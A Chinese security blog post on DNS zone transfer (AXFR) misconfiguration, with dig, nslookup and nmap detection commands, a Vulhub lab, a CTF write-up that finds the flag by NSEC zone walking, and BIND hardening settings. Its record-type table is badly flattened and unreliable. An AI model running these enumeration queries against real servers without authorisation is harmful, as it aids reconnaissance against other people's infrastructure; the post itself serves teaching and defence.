关于 DNS 的原理,这里不再做说明,你只需要知道他是 53 UDP 端口即可,以及 Wireshark 走的协议是什么样的
What?
那么什么是 DNS 域传送?我们都知道 DNS 服务器分为 DNS 主服务器、备份服务器、缓存服务器,一般情况下 DNS 域传送是 DNS 主服务器(Primary Server)向从服务器(Secondary Server)同步区域文件(Zone File)的机制,确保所有 DNS 服务器数据一致,区域文件包含域名下所有记录(如 A 记录、MX 记录、CNAME 等)主要的协议类型有
-
• AXFR(全量传输):同步整个区域文件 -
• IXFR(增量传输):仅同步变更部分(需DNS服务器支持)
默认情况下,域传送应仅允许可信的从服务器发起请求,若配置不当(这里指的是服务器只要收到 AXFR 的请求就进行域传送),攻击者可利用此功能获取敏感信息,这里在放一下 DNS 所有解析记录类型
> When a DNS server receives an AXFR request, it issues all data that it knows for the requested domain. It’s mean that such a request will come from the DNS server that is trying to perform the zone transfer (replicate). But if the DNS server is configured incorrectly, any user can have access to this data.
|
|
|
|
|
|
|
RFC 1035 | IPv4
|
|
|
|
RFC 3596 | IPv6
|
|
|
|
RFC 1183 | AFS文件系统 |
|
|
|
RFC 3123 |
|
|
|
|
RFC 6844 |
|
DNS认证机构授权
|
|
|
RFC 7344 |
|
|
|
|
RFC 7344 |
|
|
|
|
RFC 4398 |
|
|
CNAME |
|
RFC 1035 |
|
|
|
|
RFC 4701 | DHCP
|
|
|
|
RFC 4431 | DNSSEC
|
|
DNAME |
|
RFC 2672 |
|
|
|
|
RFC 4034 |
|
|
|
|
RFC 4034 |
|
|
|
|
RFC 5205 |
|
|
|
|
RFC 9460 |
|
|
|
|
RFC 4025 |
|
|
|
|
RFC 2535
|
|
|
LOC记录
|
|
RFC 1876 |
|
|
MX记录
|
|
RFC 1035 |
|
|
NAPTR记录
|
|
RFC 3403 |
|
|
|
|
RFC 1035 |
|
|
|
|
RFC 4034 |
|
|
|
|
RFC 5155 |
|
|
|
|
RFC 5155 |
|
|
|
|
RFC 7929 |
|
|
|
|
RFC 1035 |
|
|
|
|
RFC 4034 |
|
|
|
|
RFC 1183 |
|
|
|
|
RFC 2535 |
|
|
SOA |
|
RFC 1035 |
|
|
SPF |
|
RFC 4408 |
|
|
SRV记录
|
|
RFC 2782 |
|
|
|
|
RFC 4255 |
|
|
|
|
|
|
|
TKEY记录
|
|
RFC 2930 |
|
|
|
|
RFC 2845 |
|
|
|
|
RFC 1035 |
|
|
|
|
RFC 7553 |
|
|
Where?
当DNS服务器错误配置为允许任意IP地址发起AXFR请求时,攻击者可通过伪造请求获取域内所有记录。攻击步骤:
-
1. 识别目标域名的DNS服务器(如 ns1.iloli.moe
) -
2. 向该服务器发送AXFR请求 -
3. 若未限制IP,服务器返回完整的区域文件
How?
要检测的话很简单,使用 dig 来扫描域传送是否开放:
dig @ns.example.com example.com AXFR
若返回所有DNS记录,则存在漏洞,当然你也可以用 nslookup
nslookup> server ns.example.com> ls -d example.com
使用 nmap 也是可以的
nmap --script dns-zone-transfer -p 53 ns.example.com
这里用 P 神的 Vulhub 来做测试
cd vulhub/dns/dns-zone-transfer/docker-compose up# ordocker compose up
首先停止一下 systemctl stop systemd-resolved
,如果你有 DNSlog,也一并停止避免出问题,然后我们查询一下 www.vulhub.org
的 A 记录
dig @ip www.vulhub.org
接着发送 AXFR 传输命令
dig axfr @ip www.vulhub.org
这里我们就可以获取到所有有关 volhub.org
这个域名的子域名了,除此之外也可以直接用 dnsenum 这个工具来枚举,出的更快
顺便分享一下一道 DNS 题目,出自 Nullcon Goa HackIM 2025 CTF#ZoneyE
Problem Description
Are you zoney.eno out or can you find the flag?Author: @gehaxelt52.59.124.14:5007 (UDP)
首秀扫描端口,只扫到了一个 53 端口,结合题目意思就是让我们打 DNS,不过这里不存在 AXFR,看不了子域名,那么既然看不了了,还有什么切入点呢?简单枚举一下记录,得到下面内容
$ dig @52.59.124.14 -p 5007 ZONEy.eno MX; <<>> DiG 9.19.21-1-Debian <<>> @52.59.124.14 -p 5007 ZONEy.eno MX; (1 server found);; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 39708;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 4;; WARNING: recursion requested but not available;; OPT PSEUDOSECTION:; EDNS: version: 0, flags:; udp: 4096;; QUESTION SECTION:;ZONEy.eno. IN MX;; ANSWER SECTION:ZONEy.eno. 7200 IN MX 10 challenge.ZONEy.eno.;; AUTHORITY SECTION:ZONEy.eno. 7200 IN NS ns1.ZONEy.eno.ZONEy.eno. 7200 IN NS ns2.ZONEy.eno.;; ADDITIONAL SECTION:challenge.ZONEy.eno. 7200 IN A 127.0.0.1ns1.ZONEy.eno. 7200 IN A 127.0.0.1ns2.ZONEy.eno. 7200 IN A 127.0.0.1;; Query time: 310 msec;; SERVER: 52.59.124.14#5007(52.59.124.14) (UDP);; WHEN: Sat Feb 01 20:25:12 CST 2025;; MSG SIZE rcvd: 148;; AUTHORITY SECTION:ZONEy.eno. 7200 IN SOA ns1.ZONEy.eno. hostmaster.ZONEy.eno. 2016020202 7200 1800 1209600 86400
这里跑了一下 DNSSEC,DNSSEC 使用 DNSKEY 记录存储公钥,用于验证 RRSIG 签名,此处获取的密钥可能与后续签名验证有关
hiJzEdgu+CHLJYd7YwVj1XGDZ1yXpb/hwAQZw6bfZi8QewchSQiqQHID Jr2g6kHPk279x1ornIEXfsFRMZK7xA==$ dig @52.59.124.14 -p 5007 challenge.ZONEy.eno +noadditional +dnssec +multiline ; <<>> DiG 9.18.1-1ubuntu1.3-Ubuntu <<>> @52.59.124.14 -p 5007 challenge.ZONEy.eno +noadditional +dnssec +multiline; (1 server found);; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43795;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 3, ADDITIONAL: 5;; WARNING: recursion requested but not available;; OPT PSEUDOSECTION:; EDNS: version: 0, flags: do; udp: 4096;; QUESTION SECTION:;challenge.ZONEy.eno. IN A;; ANSWER SECTION:challenge.ZONEy.eno. 7200 IN A 127.0.0.1challenge.ZONEy.eno. 7200 IN RRSIG A 13 3 7200 ( 20260205220210 20250109201156 53942 zoney.eno. FkEg4bc+JAO5UHd0rPioYDIJoUePo2ppwcGD+DzJd5+Z cE7yhnYUfrVoFZyRPxTVh68pQ1JM8hCP+i/I3SYhkg== );; AUTHORITY SECTION:ZONEy.eno. 7200 IN NS ns1.ZONEy.eno.ZONEy.eno. 7200 IN NS ns2.ZONEy.eno.ZONEy.eno. 7200 IN RRSIG NS 13 2 7200 ( 20260205220210 20250109201156 53942 zoney.eno. Fk6iOlbARQe4PV3dxHPXF0fpm/Zy7wjhmtOo3RRPPPIC bgshleYO+PTWml/7htLzHqIZ52sN+qtgMd236T9hEw== );; Query time: 268 msec;; SERVER: 52.59.124.14#5007(52.59.124.14) (UDP);; WHEN: Sat Feb 01 21:40:36 CST 2025;; MSG SIZE rcvd: 552
一番枚举得到主要解析记录有
A NS SOA MX RRSIG NSEC DNSKEY
这里继续枚举 RRSIG 记录
$ dig @52.59.124.14 -p 5007 ZONEy.eno RRSIG; <<>> DiG 9.18.28-0ubuntu0.24.04.1-Ubuntu <<>> @52.59.124.14 -p 5007 ZONEy.eno RRSIG; (1 server found);; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1142;; flags: qr aa rd; QUERY: 1, ANSWER: 6, AUTHORITY: 2, ADDITIONAL: 3;; WARNING: recursion requested but not available;; OPT PSEUDOSECTION:; EDNS: version: 0, flags:; udp: 4096;; QUESTION SECTION:;ZONEy.eno. IN RRSIG;; ANSWER SECTION:ZONEy.eno. 7200 IN RRSIG SOA 13 2 7200 20260205220210 20250109201156 53942 zoney.eno. u+ngLs+oNxlRbc+FAcIA09Fc8qnDhe83lQQnq+WaHbjJgJ0sccE+bt4g uQVZwDdwvDcP3uxQvrUu/E47qLvTKg==ZONEy.eno. 7200 IN RRSIG A 13 2 7200 20260205220210 20250109201156 53942 zoney.eno. 0rDr9a1idCkZ0DwsVAspSHXdjrfxB7uGeIKfP7/CoKH0EvYQrUh77u3V cKA5xy/yecVDuUJVbEty7bAlnxtnyw==ZONEy.eno. 7200 IN RRSIG NS 13 2 7200 20260205220210 20250109201156 53942 zoney.eno. Fk6iOlbARQe4PV3dxHPXF0fpm/Zy7wjhmtOo3RRPPPICbgshleYO+PTW ml/7htLzHqIZ52sN+qtgMd236T9hEw==ZONEy.eno. 7200 IN RRSIG MX 13 2 7200 20260205220210 20250109201156 53942 zoney.eno. gmkyRfRKqYsFKcNpWVP34z8CjyebzTlQELDQXIDslHDC2nLCOWDt7vt/ xLo9YYyoTRIKI8W9H3BKfHQ96Ui3ug==ZONEy.eno. 7200 IN RRSIG DNSKEY 13 2 7200 20260205220210 20250109201156 53942 zoney.eno. ETl+05olcxRq7tOJHqNFgU2XBwi4xOFNSKASwRvolZs30tW2LfVERIG6 QPUPhslZAx/p+kBNNUk6FzfkQNH8Cw==ZONEy.eno. 86400 IN RRSIG NSEC 13 2 86400 20260205220210 20250109201156 53942 zoney.eno. XlNEQqCqeU2ZycJ+BvJ8wtuORr0cHCsBiTD59BPS2QaM2KDVgCd5c0FL zyZ9mP9OpKalRGUYgG7G3QhZwZFgxg==;; AUTHORITY SECTION:ZONEy.eno. 7200 IN NS ns1.ZONEy.eno.ZONEy.eno. 7200 IN NS ns2.ZONEy.eno.;; ADDITIONAL SECTION:ns1.ZONEy.eno. 7200 IN A 127.0.0.1ns2.ZONEy.eno. 7200 IN A 127.0.0.1;; Query time: 182 msec;; SERVER: 52.59.124.14#5007(52.59.124.14) (UDP);; WHEN: Sat Feb 01 21:42:17 HKT 2025;; MSG SIZE rcvd: 736
然后试了下子域名 flag.zoney.eno
$ dig @52.59.124.14 -p 5007 ANY flag.zoney.eno +dnssec; <<>> DiG 9.10.6 <<>> @52.59.124.14 -p 5007 ANY flag.zoney.eno +dnssec; (1 server found);; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 43618;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 6, ADDITIONAL: 1;; WARNING: recursion requested but not available;; OPT PSEUDOSECTION:; EDNS: version: 0, flags: do; udp: 4096;; QUESTION SECTION:;flag.zoney.eno. IN ANY;; AUTHORITY SECTION:challenge.zoney.eno. 86400 IN NSEC hereisthe1337flag.zoney.eno. A RRSIG NSECchallenge.zoney.eno. 86400 IN RRSIG NSEC 13 3 86400 20260205220210 20250109201156 53942 zoney.eno. Ibqmhh5vOMeCm5jiSju6//MjGRiTsVbcNB1hF6MFxc7DlYcZbZIh8Nnz aaSN1gucye6XwE64VnEsar73WsA6Ew==zoney.eno. 86400 IN NSEC challenge.zoney.eno. A NS SOA MX RRSIG NSEC DNSKEYzoney.eno. 86400 IN RRSIG NSEC 13 2 86400 20260205220210 20250109201156 53942 zoney.eno. XlNEQqCqeU2ZycJ+BvJ8wtuORr0cHCsBiTD59BPS2QaM2KDVgCd5c0FL zyZ9mP9OpKalRGUYgG7G3QhZwZFgxg==zoney.eno. 7200 IN SOA ns1.zoney.eno. hostmaster.zoney.eno. 2016020202 7200 1800 1209600 86400zoney.eno. 7200 IN RRSIG SOA 13 2 7200 20260205220210 20250109201156 53942 zoney.eno. u+ngLs+oNxlRbc+FAcIA09Fc8qnDhe83lQQnq+WaHbjJgJ0sccE+bt4g uQVZwDdwvDcP3uxQvrUu/E47qLvTKg==;; Query time: 214 msec;; SERVER: 52.59.124.14#5007(52.59.124.14);; WHEN: Sat Feb 01 21:45:19 CST 2025;; MSG SIZE rcvd: 510
这里发现新大陆了,最后得到 flag 的域名为 hereisthe1337flag
,查询一下就可以看见 flag 了
$ dig @52.59.124.14 -p 5007 TXT hereisthe1337flag.zoney.eno.; <<>> DiG 9.10.6 <<>> @52.59.124.14 -p 5007 TXT hereisthe1337flag.zoney.eno.; (1 server found);; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 54343;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3;; WARNING: recursion requested but not available;; OPT PSEUDOSECTION:; EDNS: version: 0, flags:; udp: 4096;; QUESTION SECTION:;hereisthe1337flag.zoney.eno. IN TXT;; ANSWER SECTION:hereisthe1337flag.zoney.eno. 7200 IN TXT "ENO{1337_Fl4G_NSeC_W4LK3R}";; AUTHORITY SECTION:zoney.eno. 7200 IN NS ns1.zoney.eno.zoney.eno. 7200 IN NS ns2.zoney.eno.;; ADDITIONAL SECTION:ns1.zoney.eno. 7200 IN A 127.0.0.1ns2.zoney.eno. 7200 IN A 127.0.0.1;; Query time: 215 msec;; SERVER: 52.59.124.14#5007(52.59.124.14);; WHEN: Sat Feb 01 21:43:38 CST 2025;; MSG SIZE rcvd: 163
非常有趣
Prevent
-
• 限制域传送 IP 范围,仅允许从服务器 IP 发起 AXFR 请求,Linux 配置如下
# bindzone "example.com" { type master; file "example.com.zone"; allow-transfer { 114.5.1.4; }; // 仅允许从服务器IP};
Windows 没搭环境,网上搜了下说是在DNS管理控制台中,右键区域 -> 属性 -> 区域传送 -> 仅允许到以下服务器,另外如果没有从服务器那直接关掉也是可以的吧
allow-transfer { none; };
或者通过 TSIG 进行认证,通过事务签名(TSIG)加密验证主从服务器身份,防止未授权传输
# bindkey "tsig-key" { algorithm hmac-sha256; secret "Base64加密密钥";};zone "example.com" { allow-transfer { key "tsig-key"; };};
至于上面那到 DNS 题,我觉得就是一道简单的 DNS Zone walk 所以没啥防御的点,实在不行可以把 NSEC 升级到 NSEC3
# BINDdnssec-policy "secure-zone" { nsec3param iterations 10 salt-length 16 salt "a1b2c3d4e5f6";};
感谢前辈开源
Reference
-
• https://krevetk0.medium.com/dns-vulnerability-for-axfr-queries-58a51972fc4d -
• https://beaglesecurity.com/blog/vulnerability/dns-zone-transfer.html -
• https://tech-blog.cymetrics.io/posts/crystal/dns-hacking-zone-walk/
原文始发于微信公众号(Gh0xE9):DNS 域传送漏洞:原理、危害及防御
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论